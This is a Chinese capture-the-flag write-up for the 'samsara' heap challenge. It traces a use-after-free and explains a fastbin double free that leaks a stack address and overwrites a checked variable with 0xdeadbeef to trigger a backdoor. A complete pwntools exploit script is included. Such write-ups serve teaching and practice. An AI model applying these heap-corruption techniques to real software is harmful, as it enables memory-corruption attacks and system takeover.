metasequoia_2020_samsara

查看保护

分析

case1:这里面没有什么 ,就是不能大于7次申请,申请时大小为malloc(0x8),上自动化函数

1
2
def add():
sla('> ','1')

case2:指针没有清0,uaf

1
2
3
def delete(index):
sla('> ','2')
sla(':\n',str(index))

case3:修改函数

1
2
3
4
def edit(index,content):
sla('> ','3')
sla(':\n',str(index))
sla(':\n',content)

case4:输出v7的地址

1
2
3
def show():
sla('> ','4')
ru('0x')

case5:将v9给v7

case6:当v8等于0xdeadbeef的时候触发后门

漏洞利用思路

因为有uaf,并且创建堆为malloc(8)所以可以double free让v7输出,算出v8,覆盖v8 get flag

编写exp

直接一次完整double free

1
2
3
4
5
6
add()
add()

delete(0)
delete(1)
delete(0)

再申请两个add,此时可以输入v9,从而给v7值,然后调用case4可以输出v7地址,得出v8地址

1
2
3
4
5
6
7
8
add()
add()
move(0x20)
show()

v7_addr = int(r.recv(12), 16)
success('addr = ' + hex(v7_addr))
v8_addr = v7_addr - 0x8

修改chunk0的fd地址,再连续申请两次,就可以控制v8里面的数据了

1
2
3
4
5
edit(0, v8_addr)

add()
add()
edit(5, 0xDEADBEEF)

add()第一次拿掉0x555555606010,第二次拿掉0x7fffffffde40,add()第二次的id为5,所以可以直接edit(5)就可以控制v8的数据了

1
r.sendline('6')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

file_name = './z1r0'

debug = 0
if debug:
r = remote('node4.buuoj.cn', 27162)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

sla = lambda delim,data :r.sendlineafter(str(delim), str(data))
ru = lambda delims, drop=True :r.recvuntil(delims, drop)

def add():
sla('> ','1')

def delete(index):
sla('> ','2')
sla(':\n',str(index))

def edit(index,content):
sla('> ','3')
sla(':\n',str(index))
sla(':\n',content)

def show():
sla('> ','4')
ru('0x')

def move(dest):
sla('> ','5')
sla('?\n', str(dest))

def dbg():
gdb.attach(r)

add()
add()

delete(0)
delete(1)
delete(0)

add()
add()

move(0x20)
show()
v7_addr = int(r.recv(12), 16)
success('addr = ' + hex(v7_addr))

v8_addr = v7_addr - 0x8
edit(0, v8_addr)

add()
add()
edit(5, 0xDEADBEEF)

r.sendline('6')
r.interactive()